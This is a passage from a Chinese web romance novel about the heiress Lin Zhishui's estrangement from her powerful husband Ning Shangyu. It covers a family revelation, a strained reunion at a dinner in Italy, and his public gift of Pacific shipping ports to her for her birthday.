是要安安分分回宁家,还是就这样顶着宁太太头衔在港区,名存实亡的跟他维持这段婚姻关系。 “你走吧。”林稚水比什么时候都要狠心,话音落地让他走,自己却先转身,高跟鞋尖踩在地上,清脆又坚定的声响惊起一群召之即来的白鸽。 只是走下最后的台阶,她又极轻地微侧了头,是以,视线看到宁商羽依然静立在那座象牙白雕像前,身后是日出光芒为他勾描出一层金边,看起来更像是撕开黑暗夜幕的高高在上神祇,只存在充满弱肉强食的残酷世界里。 像权力欲望的化身,永远不会变。 …… 谈崩了。 奚宴隐身在远处有幸目睹这一切的发生,很后悔,为什么不是黎近跟随到港区,早知这趟是这种尴尬局面,他就不该贪功冒进。 宁商羽面无表情地坐进车厢,命保镖发动车子离开。 一路气氛异常沉默,后排的真皮黑色座椅上还搁置着巴掌大的首饰盒,里面是宁商羽亲自特意现身私人拍卖会拍下的顶级蓝宝石戒指,用来哄林稚水的,甚至还在太平山顶的餐厅安排了鲜花玫瑰和烛光晚餐。 都派不上用场了。 奚宴端着沉稳的专业秘书姿态坐在副驾不敢多过问半句,默默地,打开了舒缓的音乐,意图稀释下弥漫在空气中如有实质般的压迫气息。 直到宁商羽一句话强势又冷硬地落了过来:“回老宅。” 他真走了。 不会再踏入港区地界。 林稚水是回到林家老宅才收到了奚宴暗地里的通风报信,垂眼看完消息,什么表情都没有,脚步很正常踏入了家门。 而另一边宁家老宅,宁徽诏也该到了兑现当初选择的时候。 他把宁惟羽从深城召回了家里来,窗外从雨到雪轮着降,雕花灯笼被寒风刮得打转儿,没一会儿,有盏犹如年久失修般,重重坠落在了玉石阶上。 这个突兀的响声,终于让暖气融融的明亮室内不再死寂。 宁惟羽眉骨却还浮着来时的霜雪温度,先是修长的手指将密封袋拆开,继而,那份被完整保留下来的出身证件让他逐字逐句看了很久。 久到,他阴暗的心中浮现出跟段宜娉一起艰难在外度日的那段时光。 原来,母亲教他念宁琛启的名字,日复一日教他写宁琛启的名字,以泪洗面的告诉他,这个叫宁琛启的男人会庇佑他一生。 是这个意思? 不是父亲。 竟不是父亲…… 宁惟羽眼底顷刻间就布满了红血丝,抬首,看向坐在太师椅上的宁徽诏,这个居高临下,被他自幼起就在心里视为信仰一样存在的神明。 灯光映着宁徽诏苍老脸上的皱纹,只要提及段宜娉,养好的精气神就会一下子溃散,嗓音嘶哑又无力:“当年我找到你,叮嘱你要守口如瓶自己的出身,在宁家不可再提段宜娉三个字,你一直没提,我以为有生之年这样就能赎罪。” 赎罪? 宁惟羽喉咙滚动:“我母亲姓段,您从拒绝让她认祖归宗那一刻开始,就误了她一生,所以您的赎罪,就是把我这个外孙接回宁家认祖归宗,让我姓宁,给我安排了二房长子的身份。” 无论当年整个家族内部,对他的身世来历诸多猜测成什么样。 宁徽诏都要把段宜娉从他身世里残忍抹去,再对他反复搓揉勾画,重塑一个新的身世。 段宜娉没得到的东西。 宁徽诏全部都给了他,可他偏不甘心,凭什么母亲连一个名字都不配被提起? 如今都成了笑话,宁惟羽额际青筋浮现,嗓音很低,有着微微的沙哑:“她想回家,她一直都想回家,每一晚钻心剜骨的哭声都在呼唤着您来接她回家,爷爷……” 说至此,宁惟羽满目通红,“她叫我不要恨她的死亡,或许是天真觉得死亡就能回家了,又怎么会想到,您依旧不承认她。” 这些年,宁惟羽最恨这点,恨宁琛启不认他这个“私生子”的存在,带着阴暗偏执的野心想在宁家掌权,想光明正大地告诉所有人。 他的母亲是段宜娉! 这个执念变成了禁锢魂魄的沉重冰冷枷锁,现如今,宁徽诏却是想以这种方式来解开。 宁惟羽的信仰崩塌了。 他的存在,是最可耻又可悲的,就犹如具有剧毒性的带刺藤蔓,一开始趁势谦卑的寄生着宁徽诏这棵枝繁叶茂的百年大树生存,待时机成熟开始,妄图取而代之。 哪怕被宁商羽察觉警告,他还以为没被连根拔起,就能继续疯狂吸取大树的养分。 藤蔓终究是藤蔓。 哪怕命运弄人,侥幸能跟一群野心勃勃的树木共生,却终究无法站在中心。 “惟羽啊。”宁徽诏最后语气格外苍老道:“你恨爷爷吧,别厌恶和怨恨自己的出生,你一日是宁家的人永远都是……” 亲手跟他揭开尘封了二十多年的真相,宁徽诏并没有如释重负的感觉,反而从宁惟羽的眼中,再也看不到那股深深依赖的情感了。 宁惟羽哪怕不恨他。 也不会再像幼时一样,总是乖的,站得笔直坚韧,带着崇拜,对他说爷爷是我唯一的亲人,是我的信仰。 老宅的四处都被映得一片雪亮。 宁惟羽从客厅出来后,指关节泛着毫无血色的冷白紧拿着那份出生证明的,却不知道该往哪里走了,他西装挺括的面料下包裹着僵硬痛感的修长身躯,站在露天之下,过许久,才朝最寂静无声的方向走。 直到,看到了披着黑色大衣,身形居高临下站在回廊玉石台阶上的宁商羽。 除了风雪外,气氛陷入了沉寂中。 顷刻间,宁惟羽神色变得怔然,又过好一会儿,他才迈着沉重步伐走过去,最后半米远,先左膝跪下来,右膝盖也极其缓慢地跪到了地上,如同什么坠地声响起。 回廊不远处,全部的人,包括老管家和以宁濯羽为首的少爷们都因他举动,停滞在原地。 宁惟羽压在喉咙底的话,溢出时,在夜色里更显暗哑几分:“当初,我不该说那句话。” 我们的父亲死了,你伤不伤心啊? 年少无知,被满腔恨意支配了理智,宁惟羽疯狂渴望着把生起高阁,无人可近的宁商羽一起拉入深渊。 他当时正得宁徽诏亲自教养,却对失去宁琛启庇佑的宁商羽说出这句诛心之言。 “哥……我错了,我服输。”无论是这场家族争权夺位的博弈,还是收购舟隆港口,他都输得一败涂地。 宁惟羽在无数双野心勃勃的眼睛注视下,纹丝不动地跪立于地,僵硬绷紧的后背最终躬成一道浅弧线,也显得,彻底归顺在他的权力管制下。 过半响。 宁商羽轮廓俊美又凌厉的面容沉静如常,迈步从台阶一级一级而下,深重黑色的大衣一角,继而,带着寒芒毕露的气息从宁惟羽青筋浮起的额际划过。 …… 宁商羽一个字都没有赏给忏悔在雪地里的宁惟羽,他今晚不过是来目睹宁徽诏的兑现,等出了老宅,便气场强大地直接回到私人区域住处。 夜色下,那片被最天然水系蜿蜒其中的华美别墅黑沉沉的,半点弱光都无。 他面不改色下车,随着步入门口,全部璀璨的鎏金灯光在瞬间亮起,将一切都照映得冰冷冷又没有丝毫鲜活人气。 管家正上前。 倏地,宁商羽没有情绪的眼神很沉静盯着巨大落地窗外那片高耸参天的落羽杉,薄唇透露出三个字:“都砍了。” 都砍了? 管家嘴巴张了会,难以掩饰面露出的震惊。 这些落羽杉都是早年宁商羽搬离老宅独居后,也一并移植到湖泊旁的,每一棵树都是从小树苗开始,就被他亲手种下。 无端地,怎么全部要砍掉??? 管家胆战心惊地不敢多问,宁商羽已经彻底执掌大权,坐稳了那把椅子,他的话就相当于圣旨,是整个宁氏家族的天大规矩。 无人能有资格动摇一二。 一夜之间,暴雪过后,湖泊旁不再有落羽杉相伴。 管家以为这道四季都极其引人瞩目的美景就这样不复存在时,而更令他感到诧异的是,隔日,宁商羽全身西装革履的就亲自往湖泊旁种植下了一棵幼小的树苗。 谁也不敢上前,只能站在远远地旁观,他低垂着线条锋利的面容,不紧不慢地将落羽杉放入选好的位置,又将一张墨迹浓的纸条卷起,塞入碧色玻璃瓶子内。 最后,筋骨匀长的手捧起泥土,指骨哪怕沾了点儿污点,也不损半分完美,慢慢的,玻璃瓶子连同稚嫩的树根,都被他神色冷漠地埋藏了起来。 一天亲手种植一棵落羽杉,时间流逝的很快,巨大的落地窗外又新生了一片。 林稚水也在港区居住了很久,她不回宁家,只要宁商羽允许,上上下下是没有人会说什么闲话,哪怕已经彻底放权的宁徽诏,都没过问一句。 这段时间,宁濯羽远赴海外出差途中,有落地这里约她出去吃了一次饭。 顺带聊起等过完这个年,宁商羽的商业图版就要更新了,他以个人名下的财富已经顺利地完成了对舟隆港口的收购,以及手段强硬地收割了裴家的基业…… 等年后正式的新闻公布,到时估计在国际上又会引起一阵轩然大波。 宁濯羽说的这些,林稚水全程很平平静静的倾听,却没有流露出想回泗城的意思,哪怕她心知: 宁濯羽大老远特意选港区落地,是想给她一个台阶。 宁商羽不来带她回去了。 最后这顿饭以宁濯羽挑食难伺候,光明正大的嫌弃这家餐厅的乳鸽没有泗城乳鸽嫩,又在接待生敢怒不敢言的微笑注视下,慷慨大方地多付了三倍小费而结束。 一起离开时,林稚水想了想,又对宁濯羽很认真地说:“我还是觉得港区的乳鸽,比泗城的乳鸽嫩。” 宁濯羽不太服气,当日回去时就给她空运了一箱冒着热气儿的乳鸽。 还连续空运了半个月。 这个家族本身基因里带来的傲慢胜负欲,简直无人能敌。 居住在林家老宅的阿泱等人整个年底到春节都吃乳鸽吃到吐,纷纷委婉地暗示林稚水就承认一下泗城的乳鸽更嫩,免得大家都饱受宁濯羽的隔空投喂之苦。 林稚水偏不说。 心思细腻的阿泱也不知道是不是吃太多鸽子有负罪感,林稚水就没有再去过广场喂白鸽了,而是整日待在家里下棋玩。 林稚水从书房抽屉的角落翻了一个水晶质地的棋盘出来,饶有兴致的自己跟自己博弈,都跟不会腻似的。 转眼天气逐渐暖和,在家中静养到完全身体康复的盛明璎开始去公司上班了,一清早醒来,当看到被日光洒满餐桌上的好几道菜又是鸽子时,一手扶额。 林稚水起得早,裹着睡袍端坐在椅子上,正慢悠悠喝着汤。 母女俩的筷子都没往鸽子去。 过会儿,盛明璎嫌燕窝粥煮的甜腻,放下精致瓷碗时,语气不咸不淡突然提起:“宁商羽之前年底时吩咐过人,把我做手术的那家医院私人飞机场重建。” 重建需要审批,等宁氏家族秘书申请的合规流程下来后,开始要施工,盛明璎这边才后知后觉知道这个事。 而应诗贤也告诉她,可能是因为林稚水当时在赶来的路上摔了一跤。 盛明璎又想起,原来她那时趴在病床头委委屈屈说建议飞机场应该建楼顶去,是因为给摔了…… 林稚水指尖下意识握紧了勺子,片刻又松开,轻轻嗯了声。 表示知道了。 如果不是宁商羽在意这个,盛明璎也不会注意到这个细枝末节,她隔着餐厅桌的距离,注视着女儿那双神似丈夫的古典怜悯琉璃眼眸,笃定的说:“你是太担心妈妈,才摔倒的,对吗?” 林稚水抿抿唇角,也看着盛明璎。 是的。 她当时下车时就感知到自己走不了路,身子的力气就跟被抽空了一样,又不好叫保镖搀扶着走,怕摔倒,还特意把高跟鞋给脱了,没想到还是摔了。 林稚水对一个人的爱是体现在方方面面的,直白又鲜活。 可她爱怜悯谈情,偏偏爱上了只谈利益的野心家宁商羽。 气氛安静数秒。 盛明璎问完这个,又说道:“这段婚姻,你真要取舍掉?” 毕竟她在家居住了非常久,久到明面上和私底下都没有再跟宁商羽有过任何联系,任谁都看得出问题。 林稚水轻声道:“妈妈,我在下棋。” 宁商羽的这盘权力博弈的棋局已经结束,如今轮到她和他下这盘棋了,她一早就说过,不愿做棋子。 她只做妻子,宁商羽的妻子。 第73章 直到这顿早餐结束。 母女俩没有继续在这桩商业联姻上往深了交流,于盛明璎而言,她一开始本就没有把林稚水往外嫁到千里迢迢的泗城地界去计划。 毕竟林曦光已经嫁到了山水迢迢的江南地界去了。 林稚水无论最后会不会动真格要跟宁商羽做一对豪门典型的两地分居夫妻,她想留在林家多长时间,都可以。 甚至是阿泱等人巴不得她就生活在眼皮子下。 盛明璎出门去公司后。 林稚水从餐厅桌转移到了楼上的书房,她坐在羊毛地毯上,熟练且慢悠悠地把水晶棋盘给摆好,棋子一半黑马,一半白马,各站阵营,在窗外璀璨的日光如丝线般照映下质地格外的透明易碎。 手机在裙摆旁响着,是裴嘉因发来一些消息。 林稚水经常已读不回。 之前去那座象牙白雕像的喷泉广场喂白鸽,默许裴嘉因陪同左右,不过是为了抛诱饵捕获狮子前来而已。 这些日子,林稚水深刻感知到宁商羽的强硬态度。 他言出必践,说过不会再踏足港区地界一步,即便频繁在外全球各地的出差,连同那架专用的湾流G650ER公务机飞行轨迹都不往港区上空路过一次。 一次都没有。 宁商羽彻彻底底的把港区地界都屏蔽在他权力世界之外了。 到三月初,林稚水从林家出远门了一趟,她是替盛明璎去赴宴的,有个跟林家生意往来过的赵家掌权人举办了一场非常隆重的小型生日晚宴。 地点选在了意大利,在一家著名的皇家宅邸。 林稚水姗姗来迟时,晚宴已经开始。 全环绕的落地玻璃将奢靡的厅内笼罩着,巨大水晶灯悬挂在最中央,一条很长的纯白桌面堆满花束烛台和精致的餐点,来的人不少,身份显赫光鲜的宾客们皆是西装革履,衣香鬓影。 不过对林稚水而言,都是陌生新鲜面孔。 她很低调落座,又是用林家的身份出席,并没有引起什么众人注意。 紧接着,林稚水认真享用美味的菜品,半垂着眼,烛光混合璀璨灯光照得睫毛格外纤长,安静极了,很快,这副安静的状态就被打破了。 晚宴又迎来了几位。 随着金碧辉煌的两扇门被服务生推开,一开始步入进来的是谢氏家族的掌权人谢忱岸和谢忱时这对双生子,以及联姻嫁到谢家的贺南枝。 像这些权势富贵堆里出来的继承人们到哪儿都是座上宾,他们的座位,跟林稚水还相隔挺远的。 林稚水只知道四面无数目光都追逐了过去,霎时间,谢家也成为新的话题中心。 然而,贺南枝一袭霜色的曳地长裙优雅落座后,还未动筷,先隔着桌,跟她隔空打起招呼,清灵的音色溢出唇:“林稚水。” 林稚水循声抬起眼睫,茫然地眨了一下。 贺南枝迎着在场神态各异的注视,只对她说道:“宁商羽也来了,你怎么比他早一步到?” 宁商羽三个字,惊得林稚水情绪有了波动,却尽量克制着不被人瞧出端倪来,语言又匮乏道:“我是从港区过来,跟他不是一路。” 贺南枝悟了点点头,又说:“宁商羽没跟我们一个电梯,他应该也快进来了。” 为什么还没到,兴许是被熟人牵绊住了脚步。 林稚水猝不及防被提前告知,说不紧张都是假的,她下意识地将纤细的背脊挺直,气氛渐愈发热了,可随着时间缓慢推移,迟迟却没见人现身。 会不会又临时走了? 林稚水没忍住看向了贺南枝的方向,她位于谢家样貌惊人神似的双生子中间,但是好似比起新婚丈夫谢忱岸,更加跟谢忱时关系亲近些,两人正凑一块不知道是在说什么趣事。 谢忱岸漠视着从不搭话,却在贺南枝感到口干舌燥时,会仪态矜贵从容地给她适时递一杯果汁。 贺南枝懒得拿,身子靠过去,就着他的手慢慢吞吞的喝。 等喝完,她又端端正正坐回去,跟谢忱时继续神秘兮兮八卦着。 而谢忱岸则是长指漫不经心的轻叩着透明玻璃杯,下一秒,就当林稚水安静目睹着这幅画面,脑海中却开始走神时……他墨色深瞳倏忽扫了过来。 近乎是瞬间,林稚水感受到那股熟悉强大的压迫感浸透进了她的脊背。 是宁商羽来了。 他来得迟,太迟了,着了袭绸制的高级纯黑西装现身酒醉金迷的晚宴上,不少在座的诸位都纷纷注目过来,就跟先前谢家出场是一样的。 而林稚水表面上跟没有太多情绪似的,长睫毛一直垂着,没去看他,也不做声。 宴会的主人赵廷璧亲自过来招待,许是觉得夫妻坐在一起是天经地义,又跟宁商羽关系尚可,就动作自然而然的替他拉开了林稚水身边的椅子。 林稚水长睫毛更轻微地垂了些,耳边,听到宁商羽低沉的嗓音格外清晰响起,在淡定自若的恭喜赵廷璧年初喜得第三次良缘。 然后赵廷璧说道:“这次是真爱。” 过会儿,宁商羽就在林稚水旁边落座。 宴会进展过半,赵廷璧和三婚妻子任宛萤待完宾客,开始很幸福地跟众人讲述着相爱的过程,气氛热闹温馨异常,也间接衬得这边愈发微妙得跟什么似的。 准确点说,是林稚水一个人微妙地安静着,只因相隔片刻就有人举杯过来跟宁商羽攀谈,他端着高贵冷艳的姿态,从神态到语调都不紧不慢地正常社交着。 林稚水抿着唇,没有再吃东西了,服务生轮番端上的美味佳肴都被她悄悄推到了一边。 宁商羽漆黑幽深的视线极为不经意间停过来了瞬,随即,他高傲到从不掩饰什么,当面,便吩咐服务生换一些港区菜式上来。 林稚水微微出怔,半响,逐渐侧过几乎白到透明的脸蛋。 宁商羽却与此同时,在听旁人说话,彼此的视线恰好错过。 林稚水又重新垂下了眼,这次菜式非常合胃口,她一边听着宁商羽靠着椅背跟人交流商业话题,一边规规矩矩地浅尝遍了每一道。 谢氏双生子要提前离席。 贺南枝就过来,眉眼笑盈盈问:“林稚水,你跟宁商羽是一起走,还是等会走?” 显然他们这些核心发小圈的今晚还要转场聚会,这儿不是主场。而林稚水的原先计划是在意大利找家酒店居住几日,当出来度假散心。 她不知道,一时有点儿沉默起来。 索性贺南枝极为自然熟,讨不到话,就对宁商羽说:“你要一时半会不走,我把你老婆带走,可以吧?” 宁商羽却伸出温度偏高的手掌,动作太自然,将林稚水雪白肩膀完全包裹住,嗓音落下,“她跟我。” 那紧贴的触感让林稚水皮肤都变得很烫,沿着骨髓能一路烫到心口似的,她微微屏息,下意识地抬起头。 这次撞上了,是他们在这场晚宴上第一次的眼神触碰。 宁商羽没有转移开的意思,就这么倒映在她清澈见底的瞳仁里。 “好吧。”贺南枝走之前,不忘提醒:“温见词和容伽礼都在等着呢,别太迟到场。” 无人应答这句话。 林稚水以为宁商羽就是象征性搂了下,怎料,像是遗忘了似的,手掌就没有从她肩膀移下来过了。 比起他气定神闲,林稚水则是想要不去过度在意这股难以忽视的压迫,只能把专注力都放在桌中央装饰用的粉色烛台上。 烛台被摇曳的火光燃烧过半,不少宾客都渐渐离席了。 她心底琢磨不出宁商羽到底准备什么时候走,赵廷璧送完人,又过来跟他攀谈起未来商业版图。 逐渐地,宁商羽搂着她肩膀动作,变成了漫不经心地搂着腰。 林稚水今晚穿的是一袭抹胸的晚礼服,胸前往下延展到极细的腰侧都用绽放的淡紫色花朵装饰着,显得整个人很柔美,而因他举动,只能渐渐地往他这里倾斜。 她肩胛骨几乎紧贴着宁商羽线条流畅锋利的西装料子,偶尔,他手掌会沿着腰窝不轻不重地游移,完全覆盖下来…… 到最后。 宁商羽是跟赵廷璧夫妇一起离开宴会厅的,脱下黑西装外套搭在她肩上,带着她,气氛看似很融洽,而出了皇家宅邸的大门,气氛就瞬间僵下来。 林稚水看到路边的车,不是林家保镖的,于是晚礼服裙摆下的高跟鞋就踩的慢了下来,她一慢,步伐自然就跟身旁的男人不一致。 宁商羽平淡的看了眼她。 林稚水心知,当下跟他相处的状态就像是上过床的陌生人一样,要跟着去他发小核心区的聚会,对自己而言,就是徒增尴尬。 还不如不去。 “我要回酒店。”林稚水声音轻得像一片夜雾。 宁商羽没说什么,伸手拉开了后座车门。 许是有他在场,被林家的保镖默认了夫妻俩今晚是一道的,哪怕近四十分钟的路程到了提前预定好的酒店,都没出现过。 林稚水双手静垂在身侧,也隐在宽大的西装内,无意识地揪着丝绸料子,指节处的皮肤很白。 她不说话,被宁商羽态度强势地带到了顶楼的总统套房。 随行的秘书保镖等人都止步于外面,室内极为宽敞,头顶的璀璨灯光越是明亮,就越衬得气氛无比静默。 林稚水始终咬牙不说话,像是乏了,心知时间不早了,宁商羽多半等会就要出门聚会,便主动将西装外套拖下,搁在沙发手扶上,继而,往主卧浴室走。 全程,没有再去看站在视野宽阔落地窗前的高大身影一眼。 她正正常常先去泡澡,半个小时后,裹着酒店丝绒的白色浴袍出来,乌黑头发散着,衬得本就精致雪白的脸更小了。 刚往床边走,却意外看到宁商羽就坐在这里,很难忽视。 林稚水略惊讶地顿在了原地几秒,没想到他还在,很快她回过神,趿拉着拖鞋选择了饶过床尾,换一边,臀堪堪沾到床垫,灯熄灭了。 黑暗犹如深浓的水墨画拂面压来,静到她心口窒息,许久背后的宁商羽才起身,去浴室。 林稚水不知道他何意,又反应慢半拍地猜到了几分。 在宁商羽去淋浴的过程中,林稚水规矩地占据半边床,平躺着,只是将睫毛静静垂下,像是已经安枕浅眠了。 莫约过去十来分钟,浴室的方向重新响起熟悉脚步声,是宁商羽走出来,肌肉线条性感的腰腹只裹着浴巾,他在朦胧又昏暗的环境下,伸手拿起了床头柜第一层酒店储备的四只装。 林稚水听着宁商羽在慢条斯理地拆塑料包装的动静,继而,他戴上,可能是酒店的小了,戴着有点紧,又给面无表情拽了下来。 她闭眼分辨着宁商羽动作,又过几秒,感官无比清晰意识到了他高大的身躯比黑暗更显沉重,逐渐笼罩而下。 太紧了。 有过很长很长一段时间没有亲密,林稚水这副白得毫无杂质的娇气身子已经开始排斥他,那股极度不适应的感觉让她额头紧贴着枕头,眼尾泛着不正常的红。 宁商羽琥珀色的眼眸沉得厉害,像猛兽狩猎时的危险眼神,可他不能真把这个脆弱又幼小的生命折腾死在了这张异国他乡的大床上。 弄了会儿,还是觉得非常紧,她一字不说,一滴泪也不掉,更没有任何抵抗的动作,但是那种来自灵魂深处的无形抵抗,就已经足够让宁商羽的控制欲彻底爆发。 宁商羽开始想亲吻她,然而,还未等再度靠近,林稚水的唇就抿起来,整张红得冒热气儿的脸贴到枕头里,缩了缩,借此躲开了这个吻。 最后,过高的温度烙在那侧颈和无处躲藏而打着颤的肩窝,让她无法动弹了。 才不到十分钟。 宁商羽刚刚开始就没继续,青筋暴起地抽离走,黑暗之中,翻身坐在床沿,听到林稚水有些痛苦的呼吸声逐渐平静下来,过几秒后,他重新回到浴室。 门没关。 哗啦啦的冰冷水声很响,猛力冲刷着宁商羽分明的肌肉性感线条,沿着背部往下…… 而此刻,林稚水手指有点痉挛地微颤着,将已经褪在肩膀下头的浴袍重新给拉拢上来,任由那股浓郁的冷杉味道包裹着自己,近乎都要浸到骨髓里的程度。 等宁商羽西装笔挺地出来,已经过去很长时间。 林稚水快睡着了,又在他气势极盛地缓慢靠近时,霎时清醒。 宁商羽这次在黑暗中的床边,低低静静看了她一会儿,伸出筋骨匀长的手掌将被子替她盖好。 林稚水佯装自己睡得很沉,连睫毛尖都没颤抖。 以为宁商羽要离开了,下一秒,他手掌隔着浴袍覆在她精致轮廓的肩胛骨处,停顿了顿,却没轻易移走,而是倏地把她转过身来。 林稚水整个人愣起来,数秒后才意识到做什么。 宁商羽直接深吻了下来,修长有力的手指扣住她的后脑勺,微微使劲一抬,毫无保留地以自己的唇舌霸道至极地压迫到了她唇齿。 他哪怕冲洗过冷水澡,强势的性子,还是要接这个吻的。 林稚水紧跟着蜷缩起来,被这股温度,弄得恍恍惚惚的,脑海中生出某种错觉来,就好像宁商羽的部分也深深充盈了她…… 只要她配合,哪怕只是选择放松下来,不再一字不吭。 林稚水心里很清楚,她就能轻而易举地把已经穿戴整齐的宁商羽给留下来,只要她示弱,稍微的对他服个软,撒个娇。 但是这样的话。 就永远无法得到他的爱了。 宁商羽对她的情感只会永远像是野心勃勃资本家去无情剥削他渴望得到的利益一样,只想着霸占,而不是真正意义上的爱上她。 不能留他。 林稚水眼眶发红,要溢出的情绪都被右下眼尾处的两颗淡红的泪痣止住了,在黑暗里,她依旧不挣扎也不抵抗,任由这场令人感到深而重的亲吻结束。 宁商羽面无表情地走了。 他没去参加核心发小圈的私人聚会,当天凌晨的夜里就携带一群随身的秘书精英离开了意大利。 经这一次,林稚水再次跟他陷入双方失联的冷战状态里。 她行程不变,继续在意大利度假了两三日才回到港区,对母亲和任何人都只字未提跟宁商羽暂短的在酒店独处过。 而那场独处,是让林稚水在家时有过一段时间期盼的。 特别是午夜梦回醒来时,她抱着被子,想着宁商羽此刻又在做什么,多少次的期盼,就有多少次的落空苦闷。 三月中旬的时候。 林曦光有抽空远程视频联系过她一次,询问今年想要什么礼物。 林稚水十九岁的生日快到了,盛明璎没有给她举办生日宴的意思,也没礼物,而林曦光在手机视频里懒洋洋的说:“你姐夫祖上极阔绰,家族有不少宝石矿场,不如你亲自来江南挑一些回去做首饰。” 林稚水还没应声。 林曦光似乎在那边跟人说话,紧接着,便隐隐约约传来:“楚天舒,这么久你应该也能记住她名字了。” 林稚水心想,又不知这回姐夫给她记成什么名字了。 从林慈水到林清水……楚天舒都不知道给她私下换了多少版本,用林曦光的话来说,一个是带着上位者的漠然悲悯从来不记人名字,一个是脑袋瓜子就爱琢磨着给人取外号,不如坐一桌去聊吧。 想了想。 林稚水选择拒绝了林曦光的邀请,声音轻浅道:“姐夫邀请的是林慈水又不是林稚水,我还是不去了吧。” 她没有强烈的出门游玩意愿。 三月二十一号日期一天天的越来越近,林稚水心情也随之郁闷起来,阿泱先心思细腻地发现她愁眉不展的,私下,便悄悄地跟盛明璎说了。 又过一周。 盛明璎去国外出差了一趟,等深夜回来时,给她带了份礼物,是一匹稀有孤品的美丽流光绸缎,可以用来裁缝成各种各样夏季穿的小睡裙。 客厅里,林稚水已经洗过澡,披着到脚踝处的真丝睡袍,双手抱着绸缎翻来覆去地看,清透如水的眼眸透露着拆礼物后的喜悦。 而这时,盛明璎喝完茶问她:“给你举办个生日宴?” 以前林家把她藏起来养,每年都是不对外办宴席的,只是让阿泱等人在家陪她仪式感一下。 林稚水抬眼看着母亲,慢慢地,她放下怀里的上等料子,从地毯移到盛明璎坐的沙发上,伸出白皙的双手紧抱住了。 那种像极了年幼时的依赖感,尽在无声的举动里。 几秒后,盛明璎听到她极小声地说:“不用了妈妈,今年的三月二十一号是我在家最后一次过生日,我想你们都陪我。” 这话听似正常,回味过来意思又不同了。 最后一次? 林稚水心口酸痛得快受不住,一直将软乎乎的脸蛋贴着盛明璎肩窝,努力平复着情绪说:“生日的日期是我的一个心理防线……他不愿意说爱我,代表我这盘棋输了。” 这场数月以来的夫妻博弈局。 林稚水敌不过宁商羽的强势态度,他情愿就这么冷漠的长期异地下去,也不肯承认和她之间是有爱情的。 利益至上,资本为王。 宁商羽终究是要做他权力编织而成的鎏金世界顶端那个君王,所以不可能会为她俯首。 林稚水睫毛下掩着把泪意藏好了,继续跟母亲坦露着自己的情感:“输了就该回到他身边了,可能这样做会显得没什么骨气吧……谁叫我爱他呢。” 她从未想过放弃或是结束这一段跟他各取所需的婚姻。 从未。 盛明璎手指摸了摸她似乎有点潮湿的脸蛋,叹了口气:“你姐姐性子烈,你性子又太过纯粹,姐妹俩爱憎都是一目了然,这样很容易吃亏。” 林稚水没有父亲庇佑,吃了亏林家也讨不了什么公道。 盛明璎一时动容对她心疼了片刻,到底是大权在握者,与生俱来就拥有一颗强大的心脏和平稳的心理素质。 林稚水既做好选择回宁家,盛明璎也没劝她留下。 不过盛明璎满足了她这个愿望,在生日的当天,特意空出了一页行程时间出来,就待在家里陪陪她。 这日港区的天气不作美,落地窗外忽然飘起细雨来。 林稚水已经调整过来状态了,早起时,站在玻璃前看向大门的方向很久,回头时,还唇间挂笑着说:“可能是我心里在哭泣,被菩萨听到了。” 阿瞒比划:“生日要开心,不能哭。” 盛明璎也下楼,准备亲自下厨为她做一碗长寿面,寓意着长命百岁,她双手涂了艳丽的酒红色指甲,正漫不经心卷起衣袖进了厨房。 而林稚水就在客厅里安安静静拆礼物,楚天舒从江南给她运了三个沉香木箱子过来,费劲打开时,一瞬间,那闪耀四射的宝石光芒极其灼眼。 里面还有一张古典精致贺卡,散发着幽香的墨色字迹挺拔而流丽,透着极高书法功底,祝贺着她十九岁生辰……这回,楚天舒终于把她名字认对了。 阿瞒趴在旁边惊叹比划:“三大箱!” 林稚水眼眸盯久了天然宝石容易晕眩,手指也打了个比划,提醒阿瞒快把箱子盖上,而这时,恰好客厅座机很突兀地响了起来。 是应诗贤的致电。 她显然是没打通正在厨房做长寿面的盛明璎电话,急于联系到人,就往老宅的座机打,一接通,嗓音透着急切说道:“盛董呢,看新闻……让快看国际新闻。” 盛明璎被外面的动静吸引出来,刚好又是外放声音,美艳的眉心皱起问:“公司出什么事了?” 应诗贤办事一向稳重冷静,不该失态成这样。 而下秒,她近乎语无伦次地说道:“不是公司出事,是小小姐……” “我吗?”林稚水还坐在地毯上,乌黑蓬松的长发垂在肩膀,仰起脸蛋,模样看起来清纯又无辜,抬起一根手指头,指了指自己。 她平安健康渡过了十九岁生日,很好啊。 “是小小姐。”应诗贤在电话里,很着急的往下说:“今日……国际各大财政媒体的新闻头版都在报道同一件事,宁商羽先是以个人财富手段强势收购了太平洋航运图上的多个重要港口,特别是从谈判桌上花了上百亿美金收购来的舟隆港口……在正式完成收购的公开仪式上,全数转赠给了小小姐。” 这个直接震撼了全世界的示爱举动,等于意味着: 宁商羽名下财富清零,林稚水的财富将不可估量。 第74章 林稚水怔了两秒,不待起身就被阿瞒抢了先,将手机迅速递了过来,她急切地一点开,屏幕亮起,今日的国际新闻版面全部是报道着这个。 有一条上了热门,是财经记者在现场蜂拥而至采访宁商羽的视频。 镜头里。 宁商羽穿着一身线条极其锋利的黑绸西装,额前的漆黑发丝向后拢,生得极盛的眉骨清晰地露出,不需任何神色,无形中散发出的天然气场足以震撼人心。 更为震撼的是他所公布的事情。 众所周知,太平洋航运图上的各大重要港口已经被宁氏家族收入旗下,是宁商羽上位以来最大的投资项目了。 而他先在谈判桌上,以个人财富作为筹码押注,继而又转赠到了林稚水名下。 也就相当于: 这条太平洋的线将不再标记上宁氏族徽。 而林稚水的名字,将代表新的权力象征,往后经年盘踞在宁商羽所掌控的庞大商业版图之上。 这一举动,让众人百思不得其解何缘由。 是能让这位唯利是图的野心家主动甘愿俯首称臣。 现场喧闹的气氛静到诡异了几秒。 很快在长枪大炮的各界媒体人群里,有位穿着西装的财经记者敢于上前一步,当众举起话筒采访起了宁商羽:“请问宁总,您身为宁氏家族掌权人,今天突然把名下港口都赠送给了新婚妻子,是重新规划了什么商业策略吗?” 宁商羽语调平淡:“没有商业策略。” “那为什么?”财经记者又追问。 宁商羽抬头,四下璀璨鎏金的灯光倏地被他那张俊美离奇的面容镇压得都霎时间黯然失色起来,众人也纷纷感觉到来自位高权重者的压迫感。 一时鸦雀无声。 以为他不会作答时。 宁商羽缓慢转动修长指骨上那枚镶嵌着红宝石的羊首指环,犹如权欲之羊,他琥珀色的眼眸直视无数镜头,下秒,淡而清晰的嗓音从容不迫道:“送给她的一份生日礼物罢了。” 一份生日礼物。 这话落地,无疑是在资本世界的巨大浪潮中惊起了一片哗然。 至此,林稚水扬名海外。 …… 手机的屏幕定格在了最后一帧宁商羽过分瞩目的挺拔身影画面里。 